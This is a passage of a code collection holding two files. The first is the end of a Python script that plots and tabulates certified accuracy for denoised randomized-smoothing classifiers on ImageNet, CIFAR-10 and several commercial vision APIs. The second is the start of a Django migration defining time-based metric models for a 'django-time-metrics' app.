Line(ApproximateAccuracy("data/certify/imagenet/MODEL_{0}_DENOISER_imagenet_dncnn_5epoch_lr1e-4/noise_{1:.2f}/test_N10000/sigma_{1:.2f}".format(arch, noise)), "$\sigma = {0:.2f}$".format(noise)) for noise in [0.12, 0.25, 0.5, 1.0] ] imagenet_results[arch].all_imagenet_denoising_obj_denoisers = imagenet_results[arch].imagenet_denoiser_imagenet_dncnn_5epoch_lr1e_4_N10000 # imagenet_results[arch].imagenet_denoiser_dncnn_off_the_shelf_N10000 + \ ## Classification objective denoisers imagenet_results[arch].all_imagenet_classification_obj_N10000 = {} imagenet_results[arch].all_imagenet_classification_obj_N10000['resnet18'] = [ Line(ApproximateAccuracy("data/certify/imagenet/MODEL_{0}_DENOISER_{2}/resnet18/dncnn/noise_{1:.2f}/test_N10000/sigma_{1:.2f}".format(arch, noise, denoiser)), "$\sigma = {0:.2f}$".format(noise)) for noise in [0.12, 0.25, 0.5, 1.0] for denoiser in ['imagenet_classification_obj_adam_1e-5_20epochs', ] ] imagenet_results[arch].all_imagenet_classification_obj_N10000['resnet34'] = [ Line(ApproximateAccuracy("data/certify/imagenet/MODEL_{0}_DENOISER_{2}/resnet34/dncnn/noise_{1:.2f}/test_N10000/sigma_{1:.2f}".format(arch, noise, denoiser)), "$\sigma = {0:.2f}$".format(noise)) for noise in [0.12, 0.25, 0.5, 1.0] for denoiser in ['imagenet_classification_obj_adam_1e-5_20epochs', ] ] imagenet_results[arch].all_imagenet_classification_obj_N10000['resnet50'] = [ Line(ApproximateAccuracy("data/certify/imagenet/MODEL_{0}_DENOISER_{2}/resnet50/dncnn/noise_{1:.2f}/test_N10000/sigma_{1:.2f}".format(arch, noise, denoiser)), "$\sigma = {0:.2f}$".format(noise)) for noise in [0.12, 0.25, 0.5, 1.0] for denoiser in ['imagenet_classification_obj_adam_1e-5_20epochs', ] ] ## Stability Objective denoisers imagenet_results[arch].all_imagenet_stability_obj_N10000 = {} imagenet_results[arch].all_imagenet_stability_obj_N10000['resnet18'] = [ Line(ApproximateAccuracy("data/certify/imagenet/MODEL_{0}_DENOISER_{2}/resnet18/dncnn/noise_{1:.2f}/test_N10000/sigma_{1:.2f}".format(arch, noise, denoiser)), "$\sigma = {0:.2f}$".format(noise)) for noise in [0.12, 0.25, 0.5, 1.0] for denoiser in ['imagenet_smoothness_obj_adam_1e-5_20epochs', ] ] imagenet_results[arch].all_imagenet_stability_obj_N10000['resnet34'] = [ Line(ApproximateAccuracy("data/certify/imagenet/MODEL_{0}_DENOISER_{2}/resnet34/dncnn/noise_{1:.2f}/test_N10000/sigma_{1:.2f}".format(arch, noise, denoiser)), "$\sigma = {0:.2f}$".format(noise)) for noise in [0.12, 0.25, 0.5, 1.0] for denoiser in ['imagenet_smoothness_obj_adam_1e-5_20epochs', ] ] imagenet_results[arch].all_imagenet_stability_obj_N10000['resnet50'] = [ Line(ApproximateAccuracy("data/certify/imagenet/MODEL_{0}_DENOISER_{2}/resnet50/dncnn/noise_{1:.2f}/test_N10000/sigma_{1:.2f}".format(arch, noise, denoiser)), "$\sigma = {0:.2f}$".format(noise)) for noise in [0.12, 0.25, 0.5, 1.0] for denoiser in ['imagenet_smoothness_obj_adam_1e-5_20epochs', ] ] imagenet_results[arch].cohen_training_N10000 = {} imagenet_results[arch].cohen_training_N10000=[ Line(ApproximateAccuracy("data/certify/imagenet/MODEL_{1}/noise_{0:.2f}/test_N10000/sigma_{0:.2f}".format(noise, arch)), "$\sigma = {0:.2f}$".format(noise)) for noise in [0.25, 0.5, 1.0] ] # Imagenet plots for arch in imagenet_archs: ### Full-Access plot_certified_accuracy_per_sigma_best_model( "analysis/plots/imagenet/full_access/MODEL_{}_Stab_vs_Clf".format(arch), '{} Stab vs Clf'.format(arch), 2.25, methods=imagenet_results[arch].all_imagenet_stability_obj_N10000[arch], label='Stab+MSE', methods_base=imagenet_results[arch].all_imagenet_classification_obj_N10000[arch], label_base='Clf+MSE', sigmas=[0.12, 0.25, 0.5, 1.0]) plot_certified_accuracy_one_sigma_best_model_multiple_methods( "analysis/plots/imagenet/full_access/MODEL_{}_all_methods_stability_sigma_25".format(arch), 'fixed_imagenet_best_models', 1.0, methods_labels_colors_dashes=[ (imagenet_results[arch].cohen_training_N10000, 'White-box', 'b', [1, 0]), (imagenet_results[arch].all_imagenet_stability_obj_N10000[arch], 'Stab+MSE', 'orange', [4, 2]), (imagenet_results[arch].all_imagenet_denoising_obj_denoisers, 'MSE', 'r', [2, 4]), (imagenet_results[arch].imagenet_no_denoiser_N10000, 'No denoiser', 'k', [5, 1]), ], sigma=0.25) plot_certified_accuracy_one_sigma_best_model_multiple_methods( "analysis/plots/imagenet/full_access/MODEL_{}_all_methods_stability_sigma_50".format(arch), 'fixed_imagenet_best_models', 1.0, methods_labels_colors_dashes=[ (imagenet_results[arch].cohen_training_N10000, 'White-box', 'b', [1, 0]), (imagenet_results[arch].all_imagenet_stability_obj_N10000[arch], 'Stab+MSE', 'orange', [4, 2]), (imagenet_results[arch].all_imagenet_denoising_obj_denoisers, 'MSE', 'r', [2, 4]), (imagenet_results[arch].imagenet_no_denoiser_N10000, 'No denoiser', 'k', [5, 1]), ], sigma=0.50) plot_certified_accuracy_one_sigma_best_model_multiple_methods( "analysis/plots/imagenet/full_access/MODEL_{}_all_methods_stability_sigma_100".format(arch), 'fixed_imagenet_best_models', 1.0, methods_labels_colors_dashes=[ (imagenet_results[arch].cohen_training_N10000, 'White-box', 'b', [1, 0]), (imagenet_results[arch].all_imagenet_stability_obj_N10000[arch], 'Stab+MSE', 'orange', [4, 2]), (imagenet_results[arch].all_imagenet_denoising_obj_denoisers, 'MSE', 'r', [2, 4]), (imagenet_results[arch].imagenet_no_denoiser_N10000, 'No denoiser', 'k', [5, 1]), ], sigma=1.00) ### Query-Access surrogate_models = [(imagenet_results[arch].all_imagenet_stability_obj_N10000[b], 'Stab+MSE-{}'.format(b), color, dashes) for b, color, dashes in zip(set(imagenet_archs) - set([arch]), ['g', 'orange'], [[6, 2], [4, 2]], ) ] plot_certified_accuracy_one_sigma_best_model_multiple_methods( "analysis/plots/imagenet/query_access/MODEL_{}_stability_sigma_25_with_surrogate".format(arch), 'blackbox_imagenet_best_models', 1.0, methods_labels_colors_dashes=[ (imagenet_results[arch].cohen_training_N10000, 'White-box', 'b', [1, 0]),] + surrogate_models + [ (imagenet_results[arch].all_imagenet_denoising_obj_denoisers, 'MSE', 'r', [2, 4]), (imagenet_results[arch].imagenet_no_denoiser_N10000, 'No denoiser', 'k', [5, 1]), ], sigma=0.25) plot_certified_accuracy_one_sigma_best_model_multiple_methods( "analysis/plots/imagenet/query_access/MODEL_{}_stability_sigma_50_with_surrogate".format(arch), 'blackbox_imagenet_best_models', 1.0, methods_labels_colors_dashes=[ (imagenet_results[arch].cohen_training_N10000, 'White-box', 'b', [1, 0]),] + surrogate_models + [ (imagenet_results[arch].all_imagenet_denoising_obj_denoisers, 'MSE', 'r', [2, 4]), (imagenet_results[arch].imagenet_no_denoiser_N10000, 'No denoiser', 'k', [5, 1]), ], sigma=0.50) plot_certified_accuracy_one_sigma_best_model_multiple_methods( "analysis/plots/imagenet/query_access/MODEL_{}_stability_sigma_100_with_surrogate".format(arch), 'blackbox_imagenet_best_models', 1.0, methods_labels_colors_dashes=[ (imagenet_results[arch].cohen_training_N10000, 'White-box', 'b', [1, 0]),] + surrogate_models + [ (imagenet_results[arch].all_imagenet_denoising_obj_denoisers, 'MSE', 'r', [2, 4]), (imagenet_results[arch].imagenet_no_denoiser_N10000, 'No denoiser', 'k', [5, 1]), ], sigma=1.00) ################################################################################################## # VISION API google_api_mse = [ Line(ApproximateAccuracy_API("data/certify/vision_api/google/imagenet_denoiser_mse/{0:.2f}/log.txt".format(noise)), "$\sigma = {0:.2f}$".format(noise)) for noise in [0.12, 0.25] ] google_api_no_noise = [ Line(ApproximateAccuracy_API("data/certify/vision_api/google/no_denoiser/{0:.2f}/log.txt".format(noise)), "$\sigma = {0:.2f}$".format(noise)) for noise in [0.12, 0.25] ] azure_api_mse = [ Line(ApproximateAccuracy_API("data/certify/vision_api/azure/imagenet_denoiser_mse/{0:.2f}/log.txt".format(noise)), "$\sigma = {0:.2f}$".format(noise)) for noise in [0.12, 0.25] ] azure_api_mse_1k = [ Line(ApproximateAccuracy_API("data/certify/vision_api/azure/imagenet_denoiser_mse/{0:.2f}_1k/log.txt".format(noise)), "$\sigma = {0:.2f}$".format(noise)) for noise in [0.12, 0.25] ] azure_api_no_noise = [ Line(ApproximateAccuracy_API("data/certify/vision_api/azure/no_denoiser/{0:.2f}/log.txt".format(noise)), "$\sigma = {0:.2f}$".format(noise)) for noise in [0.12, 0.25] ] aws_api_mse = [ Line(ApproximateAccuracy_API("data/certify/vision_api/aws/imagenet_denoiser_mse/{0:.2f}/log.txt".format(noise)), "$\sigma = {0:.2f}$".format(noise)) for noise in [0.12, 0.25] ] aws_api_no_noise = [ Line(ApproximateAccuracy_API("data/certify/vision_api/aws/no_denoiser/{0:.2f}/log.txt".format(noise)), "$\sigma = {0:.2f}$".format(noise)) for noise in [0.12, 0.25] ] clarifai_api_mse = [ Line(ApproximateAccuracy_API("data/certify/vision_api/clarifai/imagenet_denoiser_mse/{0:.2f}/log.txt".format(noise)), "$\sigma = {0:.2f}$".format(noise)) for noise in [0.12, 0.25] ] clarifai_api_no_noise = [ Line(ApproximateAccuracy_API("data/certify/vision_api/clarifai/no_denoiser/{0:.2f}/log.txt".format(noise)), "$\sigma = {0:.2f}$".format(noise)) for noise in [0.12, 0.25] ] azure_api_clf_resnet18 = [ Line(ApproximateAccuracy_API("data/certify/vision_api/azure/imagenet_denoiser_classification_obj_adam_1e-5_20epochs/resnet18/{0:.2f}/log.txt".format(noise)), "$\sigma = {0:.2f}$".format(noise)) for noise in [0.12, 0.25] ] azure_api_clf_resnet34 = [ Line(ApproximateAccuracy_API("data/certify/vision_api/azure/imagenet_denoiser_classification_obj_adam_1e-5_20epochs/resnet34/{0:.2f}/log.txt".format(noise)), "$\sigma = {0:.2f}$".format(noise)) for noise in [0.12, 0.25] ] azure_api_clf_resnet50 = [ Line(ApproximateAccuracy_API("data/certify/vision_api/azure/imagenet_denoiser_classification_obj_adam_1e-5_20epochs/resnet50/{0:.2f}/log.txt".format(noise)), "$\sigma = {0:.2f}$".format(noise)) for noise in [0.12, 0.25] ] clarifai_api_clf_resnet18 = [ Line(ApproximateAccuracy_API("data/certify/vision_api/clarifai/imagenet_denoiser_classification_obj_adam_1e-5_20epochs/resnet18/{0:.2f}/log.txt".format(noise)), "$\sigma = {0:.2f}$".format(noise)) for noise in [0.12, 0.25] ] clarifai_api_clf_resnet34 = [ Line(ApproximateAccuracy_API("data/certify/vision_api/clarifai/imagenet_denoiser_classification_obj_adam_1e-5_20epochs/resnet34/{0:.2f}/log.txt".format(noise)), "$\sigma = {0:.2f}$".format(noise)) for noise in [0.12, 0.25] ] clarifai_api_clf_resnet50 = [ Line(ApproximateAccuracy_API("data/certify/vision_api/clarifai/imagenet_denoiser_classification_obj_adam_1e-5_20epochs/resnet50/{0:.2f}/log.txt".format(noise)), "$\sigma = {0:.2f}$".format(noise)) for noise in [0.12, 0.25] ] google_api_clf_resnet18 = [ Line(ApproximateAccuracy_API("data/certify/vision_api/google/imagenet_denoiser_classification_obj_adam_1e-5_20epochs/resnet18/{0:.2f}/log.txt".format(noise)), "$\sigma = {0:.2f}$".format(noise)) for noise in [0.12, 0.25] ] google_api_clf_resnet34 = [ Line(ApproximateAccuracy_API("data/certify/vision_api/google/imagenet_denoiser_classification_obj_adam_1e-5_20epochs/resnet34/{0:.2f}/log.txt".format(noise)), "$\sigma = {0:.2f}$".format(noise)) for noise in [0.12, 0.25] ] google_api_clf_resnet50 = [ Line(ApproximateAccuracy_API("data/certify/vision_api/google/imagenet_denoiser_classification_obj_adam_1e-5_20epochs/resnet50/{0:.2f}/log.txt".format(noise)), "$\sigma = {0:.2f}$".format(noise)) for noise in [0.12, 0.25] ] aws_api_clf_resnet18 = [ Line(ApproximateAccuracy_API("data/certify/vision_api/aws/imagenet_denoiser_classification_obj_adam_1e-5_20epochs/resnet18/{0:.2f}/log.txt".format(noise)), "$\sigma = {0:.2f}$".format(noise)) for noise in [0.12, 0.25] ] aws_api_clf_resnet34 = [ Line(ApproximateAccuracy_API("data/certify/vision_api/aws/imagenet_denoiser_classification_obj_adam_1e-5_20epochs/resnet34/{0:.2f}/log.txt".format(noise)), "$\sigma = {0:.2f}$".format(noise)) for noise in [0.12, 0.25] ] aws_api_clf_resnet50 = [ Line(ApproximateAccuracy_API("data/certify/vision_api/aws/imagenet_denoiser_classification_obj_adam_1e-5_20epochs/resnet50/{0:.2f}/log.txt".format(noise)), "$\sigma = {0:.2f}$".format(noise)) for noise in [0.12, 0.25] ] azure_api_smooth_resnet18 = [ Line(ApproximateAccuracy_API("data/certify/vision_api/azure/imagenet_denoiser_smoothness_obj_adam_1e-5_20epochs/resnet18/{0:.2f}/log.txt".format(noise)), "$\sigma = {0:.2f}$".format(noise)) for noise in [0.12, 0.25] ] azure_api_smooth_resnet34 = [ Line(ApproximateAccuracy_API("data/certify/vision_api/azure/imagenet_denoiser_smoothness_obj_adam_1e-5_20epochs/resnet34/{0:.2f}/log.txt".format(noise)), "$\sigma = {0:.2f}$".format(noise)) for noise in [0.12, 0.25] ] azure_api_smooth_resnet50 = [ Line(ApproximateAccuracy_API("data/certify/vision_api/azure/imagenet_denoiser_smoothness_obj_adam_1e-5_20epochs/resnet50/{0:.2f}/log.txt".format(noise)), "$\sigma = {0:.2f}$".format(noise)) for noise in [0.12, 0.25] ] aws_api_smooth_resnet18 = [ Line(ApproximateAccuracy_API("data/certify/vision_api/aws/imagenet_denoiser_smoothness_obj_adam_1e-5_20epochs/resnet18/{0:.2f}/log.txt".format(noise)), "$\sigma = {0:.2f}$".format(noise)) for noise in [0.12, 0.25] ] aws_api_smooth_resnet34 = [ Line(ApproximateAccuracy_API("data/certify/vision_api/aws/imagenet_denoiser_smoothness_obj_adam_1e-5_20epochs/resnet34/{0:.2f}/log.txt".format(noise)), "$\sigma = {0:.2f}$".format(noise)) for noise in [0.12, 0.25] ] aws_api_smooth_resnet50 = [ Line(ApproximateAccuracy_API("data/certify/vision_api/aws/imagenet_denoiser_smoothness_obj_adam_1e-5_20epochs/resnet50/{0:.2f}/log.txt".format(noise)), "$\sigma = {0:.2f}$".format(noise)) for noise in [0.12, 0.25] ] clarifai_api_smooth_resnet18 = [ Line(ApproximateAccuracy_API("data/certify/vision_api/clarifai/imagenet_denoiser_smoothness_obj_adam_1e-5_20epochs/resnet18/{0:.2f}/log.txt".format(noise)), "$\sigma = {0:.2f}$".format(noise)) for noise in [0.12, 0.25] ] clarifai_api_smooth_resnet34 = [ Line(ApproximateAccuracy_API("data/certify/vision_api/clarifai/imagenet_denoiser_smoothness_obj_adam_1e-5_20epochs/resnet34/{0:.2f}/log.txt".format(noise)), "$\sigma = {0:.2f}$".format(noise)) for noise in [0.12, 0.25] ] clarifai_api_smooth_resnet50 = [ Line(ApproximateAccuracy_API("data/certify/vision_api/clarifai/imagenet_denoiser_smoothness_obj_adam_1e-5_20epochs/resnet50/{0:.2f}/log.txt".format(noise)), "$\sigma = {0:.2f}$".format(noise)) for noise in [0.12, 0.25] ] google_api_smooth_resnet18 = [ Line(ApproximateAccuracy_API("data/certify/vision_api/google/imagenet_denoiser_smoothness_obj_adam_1e-5_20epochs/resnet18/{0:.2f}/log.txt".format(noise)), "$\sigma = {0:.2f}$".format(noise)) for noise in [0.12, 0.25] ] google_api_smooth_resnet34 = [ Line(ApproximateAccuracy_API("data/certify/vision_api/google/imagenet_denoiser_smoothness_obj_adam_1e-5_20epochs/resnet34/{0:.2f}/log.txt".format(noise)), "$\sigma = {0:.2f}$".format(noise)) for noise in [0.12, 0.25] ] google_api_smooth_resnet50 = [ Line(ApproximateAccuracy_API("data/certify/vision_api/google/imagenet_denoiser_smoothness_obj_adam_1e-5_20epochs/resnet50/{0:.2f}/log.txt".format(noise)), "$\sigma = {0:.2f}$".format(noise)) for noise in [0.12, 0.25] ] plot_certified_accuracy_per_sigma_against_baseline( "analysis/plots/vision_api/azure/denoiser_finetune_smooth_res18_vs_denoiser_mse", '', 0.6, methods=azure_api_smooth_resnet18, label='Stab+MSE on ResNet18', methods_base=azure_api_mse, label_base="MSE") plot_certified_accuracy_per_sigma_against_baseline( "analysis/plots/vision_api/azure/denoiser_finetune_smooth_res34_vs_denoiser_mse", '', 0.6, methods=azure_api_smooth_resnet34, label='Stab+MSE on Resnet34', methods_base=azure_api_mse, label_base="MSE") plot_certified_accuracy_per_sigma_against_baseline( "analysis/plots/vision_api/azure/denoiser_finetune_smooth_res50_vs_denoiser_mse", '', 0.6, methods=azure_api_smooth_resnet50, label='Stab+MSE on ResNet50', methods_base=azure_api_mse, label_base="MSE") plot_certified_accuracy_per_sigma_against_baseline( "analysis/plots/vision_api/google/denoiser_finetune_smooth_res18_vs_denoiser_mse", '', 0.6, methods=google_api_smooth_resnet18, label='Stab+MSE on ResNet18', methods_base=google_api_mse, label_base="MSE") plot_certified_accuracy_per_sigma_against_baseline( "analysis/plots/vision_api/google/denoiser_finetune_smooth_res34_vs_denoiser_mse", '', 0.6, methods=google_api_smooth_resnet34, label='Stab+MSE on Resnet34', methods_base=google_api_mse, label_base="MSE") plot_certified_accuracy_per_sigma_against_baseline( "analysis/plots/vision_api/google/denoiser_finetune_smooth_res50_vs_denoiser_mse", '', 0.6, methods=google_api_smooth_resnet50, label='Stab+MSE on ResNet50', methods_base=google_api_mse, label_base="MSE") plot_certified_accuracy_per_sigma_against_baseline( "analysis/plots/vision_api/aws/denoiser_finetune_smooth_res18_vs_denoiser_mse", '', 0.6, methods=aws_api_smooth_resnet18, label='Stab+MSE on ResNet18', methods_base=aws_api_mse, label_base="MSE") plot_certified_accuracy_per_sigma_against_baseline( "analysis/plots/vision_api/aws/denoiser_finetune_smooth_res34_vs_denoiser_mse", '', 0.6, methods=aws_api_smooth_resnet34, label='Stab+MSE on Resnet34', methods_base=aws_api_mse, label_base="MSE") plot_certified_accuracy_per_sigma_against_baseline( "analysis/plots/vision_api/aws/denoiser_finetune_smooth_res50_vs_denoiser_mse", '', 0.6, methods=aws_api_smooth_resnet50, label='Stab+MSE on ResNet50', methods_base=aws_api_mse, label_base="MSE") plot_certified_accuracy_per_sigma_against_baseline( "analysis/plots/vision_api/clarifai/denoiser_finetune_smooth_res18_vs_denoiser_mse", '', 0.6, methods=clarifai_api_smooth_resnet18, label='Stab+MSE on ResNet18', methods_base=clarifai_api_mse, label_base="MSE") plot_certified_accuracy_per_sigma_against_baseline( "analysis/plots/vision_api/clarifai/denoiser_finetune_smooth_res34_vs_denoiser_mse", '', 0.6, methods=clarifai_api_smooth_resnet34, label='Stab+MSE on Resnet34', methods_base=clarifai_api_mse, label_base="MSE") plot_certified_accuracy_per_sigma_against_baseline( "analysis/plots/vision_api/clarifai/denoiser_finetune_smooth_res50_vs_denoiser_mse", '', 0.6, methods=clarifai_api_smooth_resnet50, label='Stab+MSE on ResNet50', methods_base=clarifai_api_mse, label_base="MSE") plot_certified_accuracy_per_sigma_against_baseline( "analysis/plots/vision_api/azure/smooth_vs_clf_resnet18", '', 0.6, methods=azure_api_smooth_resnet18, label='Stab+MSE on ResNet18', methods_base=azure_api_clf_resnet18, label_base="Clf+MSE on ResNet18") plot_certified_accuracy_per_sigma_against_baseline( "analysis/plots/vision_api/azure/smooth_vs_clf_resnet34", '', 0.6, methods=azure_api_smooth_resnet34, label='Stab+MSE on ResNet34', methods_base=azure_api_clf_resnet34, label_base="Clf+MSE on ResNet34") plot_certified_accuracy_per_sigma_against_baseline( "analysis/plots/vision_api/azure/smooth_vs_clf_resnet50", '', 0.6, methods=azure_api_smooth_resnet50, label='Stab+MSE on ResNet50', methods_base=azure_api_clf_resnet50, label_base="Clf+MSE on ResNet50") plot_certified_accuracy_per_sigma_against_baseline( "analysis/plots/vision_api/google/smooth_vs_clf_resnet18", '', 0.6, methods=google_api_smooth_resnet18, label='Stab+MSE on ResNet18', methods_base=google_api_clf_resnet18, label_base="Clf+MSE on ResNet18") plot_certified_accuracy_per_sigma_against_baseline( "analysis/plots/vision_api/google/smooth_vs_clf_resnet34", '', 0.6, methods=google_api_smooth_resnet34, label='Stab+MSE on ResNet34', methods_base=google_api_clf_resnet34, label_base="Clf+MSE on ResNet34") plot_certified_accuracy_per_sigma_against_baseline( "analysis/plots/vision_api/google/smooth_vs_clf_resnet50", '', 0.6, methods=google_api_smooth_resnet50, label='Stab+MSE on ResNet50', methods_base=google_api_clf_resnet50, label_base="Clf+MSE on ResNet50") plot_certified_accuracy_per_sigma_against_baseline( "analysis/plots/vision_api/aws/smooth_vs_clf_resnet18", '', 0.6, methods=aws_api_smooth_resnet18, label='Stab+MSE on ResNet18', methods_base=aws_api_clf_resnet18, label_base="Clf+MSE on ResNet18") plot_certified_accuracy_per_sigma_against_baseline( "analysis/plots/vision_api/aws/smooth_vs_clf_resnet34", '', 0.6, methods=aws_api_smooth_resnet34, label='Stab+MSE on ResNet34', methods_base=aws_api_clf_resnet34, label_base="Clf+MSE on ResNet34") plot_certified_accuracy_per_sigma_against_baseline( "analysis/plots/vision_api/aws/smooth_vs_clf_resnet50", '', 0.6, methods=aws_api_smooth_resnet50, label='Stab+MSE on ResNet50', methods_base=aws_api_clf_resnet50, label_base="Clf+MSE on ResNet50") plot_certified_accuracy_per_sigma_against_baseline( "analysis/plots/vision_api/clarifai/smooth_vs_clf_resnet18", '', 0.6, methods=clarifai_api_smooth_resnet18, label='Stab+MSE on ResNet18', methods_base=clarifai_api_clf_resnet18, label_base="Clf+MSE on ResNet18") plot_certified_accuracy_per_sigma_against_baseline( "analysis/plots/vision_api/clarifai/smooth_vs_clf_resnet34", '', 0.6, methods=clarifai_api_smooth_resnet34, label='Stab+MSE on ResNet34', methods_base=clarifai_api_clf_resnet34, label_base="Clf+MSE on ResNet34") plot_certified_accuracy_per_sigma_against_baseline( "analysis/plots/vision_api/clarifai/smooth_vs_clf_resnet50", '', 0.6, methods=clarifai_api_smooth_resnet50, label='Stab+MSE on ResNet50', methods_base=clarifai_api_clf_resnet50, label_base="Clf+MSE on ResNet50") azure_api_smooth_total = azure_api_smooth_resnet18 + azure_api_smooth_resnet34 + azure_api_smooth_resnet50 clarifai_api_smooth_total = clarifai_api_smooth_resnet18 + clarifai_api_smooth_resnet34 + clarifai_api_smooth_resnet50 google_api_smooth_total = google_api_smooth_resnet18 + google_api_smooth_resnet34 + google_api_smooth_resnet50 aws_api_smooth_total = aws_api_smooth_resnet18 + aws_api_smooth_resnet34 + aws_api_smooth_resnet50 plot_certified_accuracy_per_sigma_against_baseline_finetune( "analysis/plots/vision_api/azure/total_comparison", '', 0.6, methods=azure_api_mse, label="MSE", methods_finetune=azure_api_smooth_total, label_finetune="Stab+MSE best", methods_base=azure_api_no_noise, label_base="No Denoiser") plot_certified_accuracy_per_sigma_against_baseline_finetune( "analysis/plots/vision_api/google/total_comparison", '', 0.6, methods=google_api_mse, label="MSE", methods_finetune=google_api_smooth_total, label_finetune="Stab+MSE best", methods_base=google_api_no_noise, label_base="No Denoiser") plot_certified_accuracy_per_sigma_against_baseline_finetune( "analysis/plots/vision_api/aws/total_comparison", '', 0.6, methods=aws_api_mse, label="MSE", methods_finetune=aws_api_smooth_total, label_finetune="Stab+MSE best", methods_base=aws_api_no_noise, label_base="No Denoiser") plot_certified_accuracy_per_sigma_against_baseline_finetune( "analysis/plots/vision_api/clarifai/total_comparison", '', 0.6, methods=clarifai_api_mse, label="MSE", methods_finetune=clarifai_api_smooth_total, label_finetune="Stab+MSE best", methods_base=clarifai_api_no_noise, label_base="No Denoiser") plot_certified_accuracy_per_sigma_against_baseline( "analysis/plots/vision_api/azure/1k_vs_100", '', 0.6, methods=azure_api_mse_1k, label='MSE with 1k', methods_base=azure_api_mse, label_base="MSE with 100") ######################################################################################## # Latex for arch in imagenet_archs: latex_table_certified_accuracy_upper_envelope( "analysis/latex/fullAccess_imagenet_certified_outer_envelop_{}_denoisers".format(arch), 0.25, 1.5, 0.25, imagenet_results[arch].all_imagenet_stability_obj_N10000[arch] ) latex_table_certified_accuracy_upper_envelope( "analysis/latex/queryAccess_imagenet_certified_outer_envelop_{}_denoisers".format(arch), 0.25, 1.5, 0.25, sum([imagenet_results[arch].all_imagenet_stability_obj_N10000[b] for b in set(imagenet_archs) - set([arch])], []) ) latex_table_certified_accuracy_upper_envelope( "analysis/latex/imagenet_certified_outer_envelop_{}_no_denoisers".format(arch), 0.25, 1.5, 0.25, imagenet_results[arch].imagenet_no_denoiser_N10000) latex_table_certified_accuracy_upper_envelope( "analysis/latex/imagenet_certified_outer_envelop_{}_whitebox".format(arch), 0.25, 1.5, 0.25, imagenet_results[arch].cohen_training_N10000) latex_table_certified_accuracy_upper_envelope( "analysis/latex/cifar10_certified_outer_envelop_no_denoisers", 0.25, 1.5, 0.25, cifar_no_denoiser_N10000) latex_table_certified_accuracy_upper_envelope( "analysis/latex/cifar10_certified_outer_envelop_whitebox", 0.25, 1.5, 0.25, all_cifar_cohen_N10000) latex_table_certified_accuracy_upper_envelope( "analysis/latex/queryAccess_cifar10_certified_outer_envelop", 0.25, 1.5, 0.25, all_exp_resnet110_queryAccess_cifar10_stability) latex_table_certified_accuracy_upper_envelope( "analysis/latex/fullAccess_cifar10_certified_outer_envelop", 0.25, 1.5, 0.25, all_exp_resnet110_fullAccess_cifar10_stability)

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6

b9bcc13bcb586b3236b3f09361fa9a17cd2cb00c

6,997

py

Python

time_metrics/migrations/0001_initial.py

wallstreetweb/django-time-metrics

02196d4ab3b49186a2ff228545d290859a742a31

[ "MIT" ]

null

time_metrics/migrations/0001_initial.py

wallstreetweb/django-time-metrics

02196d4ab3b49186a2ff228545d290859a742a31

[ "MIT" ]

null

time_metrics/migrations/0001_initial.py

wallstreetweb/django-time-metrics

02196d4ab3b49186a2ff228545d290859a742a31

[ "MIT" ]

null

# -*- coding: utf-8 -*- # Generated by Django 1.9.7 on 2016-06-21 16:23 from __future__ import unicode_literals import datetime from django.db import migrations, models import django.db.models.deletion import django.utils.timezone import model_utils.fields class Migration(migrations.Migration): initial = True dependencies = [ ('contenttypes', '0002_remove_content_type_name'), ('sites', '0001_initial'), ] operations = [ migrations.CreateModel( name='DayMetric', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('count', models.IntegerField(default=0)), ('date_up', models.DateField(default=datetime.date.today)), ('object_id', models.PositiveIntegerField()), ('content_type', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='contenttypes.ContentType')), ], options={ 'verbose_name': 'day metric', 'verbose_name_plural': 'day metrics', }, ), migrations.CreateModel( name='Metric', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('created', model_utils.fields.AutoCreatedField(default=django.utils.timezone.now, editable=False, verbose_name='created')), ('modified', model_utils.fields.AutoLastModifiedField(default=django.utils.timezone.now, editable=False, verbose_name='modified')), ('name', models.CharField(max_length=90)), ('description', models.TextField(blank=True, null=True)), ('slug', models.SlugField(max_length=100, unique=True)), ], options={ 'verbose_name': 'metric', 'verbose_name_plural': 'metrics', }, ), migrations.CreateModel( name='MetricItem', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('count', models.IntegerField(default=0)), ('date_up', models.DateField(default=datetime.date.today)), ('object_id', models.PositiveIntegerField()), ('content_type', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='contenttypes.ContentType')), ('metric', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='time_metrics.Metric')), ('site', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='sites.Site')), ], options={ 'verbose_name': 'metric item', 'verbose_name_plural': 'metric items', }, ), migrations.CreateModel( name='MonthMetric', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('count', models.IntegerField(default=0)), ('date_up', models.DateField(default=datetime.date.today)), ('object_id', models.PositiveIntegerField()), ('content_type', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='contenttypes.ContentType')), ('metric', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='time_metrics.Metric')), ('site', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='sites.Site')), ], options={ 'verbose_name': 'month metric', 'verbose_name_plural': 'month metrics', }, ), migrations.CreateModel( name='QuarterMetric', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('count', models.IntegerField(default=0)), ('date_up', models.DateField(default=datetime.date.today)), ('object_id', models.PositiveIntegerField()), ('content_type', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='contenttypes.ContentType')), ('metric', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='time_metrics.Metric')), ('site', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='sites.Site')), ], options={ 'verbose_name': 'querter metric', 'verbose_name_plural': 'quarter metrics', }, ), migrations.CreateModel( name='WeekMetric', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('count', models.IntegerField(default=0)), ('date_up', models.DateField(default=datetime.date.today)), ('object_id', models.PositiveIntegerField()), ('content_type', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='contenttypes.ContentType')), ('metric', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='time_metrics.Metric')), ('site', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='sites.Site')), ], options={ 'verbose_name': 'week metric', 'verbose_name_plural': 'week 